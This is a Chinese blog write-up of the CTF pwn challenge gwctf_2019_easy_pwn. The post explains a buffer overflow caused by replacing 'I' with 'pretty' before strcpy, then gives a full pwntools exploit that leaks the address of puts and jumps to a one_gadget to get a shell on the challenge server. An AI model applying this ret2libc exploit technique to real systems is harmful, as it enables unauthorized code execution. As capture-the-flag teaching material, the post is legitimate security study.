【pwn】gwctf_2019_easy_pwn

最新推荐文章于 2025-04-20 17:50:51 发布

不干正事的拖延症患者

最新推荐文章于 2025-04-20 17:50:51 发布

阅读量1k

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn

本文链接：https://blog.youkuaiyun.com/github_36788573/article/details/103463024

pwn 专栏收录该内容

39 篇文章

订阅专栏

本文分析了一个C++程序的安全漏洞，探讨了在字符串替换过程中导致的缓冲区溢出问题，并通过实例展示了如何利用该漏洞进行PWN攻击，获取程序控制权。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

例行检查
在这里插入图片描述分析程序，这个程序是c++写的。在往s中read的时候大小没有问题，但是程序在下面将字符"I"替换成了"pretty"，最后在strcpy的时候发生了溢出，没有PIE和canary直接利用即可。

from pwn import *

io=remote('node3.buuoj.cn','27671')
puts_plt=0x8048DC0
puts_got=0x804C068
main=0x8049091
pl='I'*16+p32(puts_plt)+p32(main)+p32(puts_got)
io.send(pl)
io.recvuntil('pretty'*16)
io.recv(12)
puts_add=u32(io.recv(4))
print(hex(puts_add))
one_gadget=puts_add-0x05f140+0x5f066
#sys=puts_add-0x24800
#sh=puts_add+0xf9eeb
#pl2='I'*16+p32(sys)+'dead'+p32(sh)
pl2='I'*16+p32(one_gadget)
io.send(pl2)

io.interactive()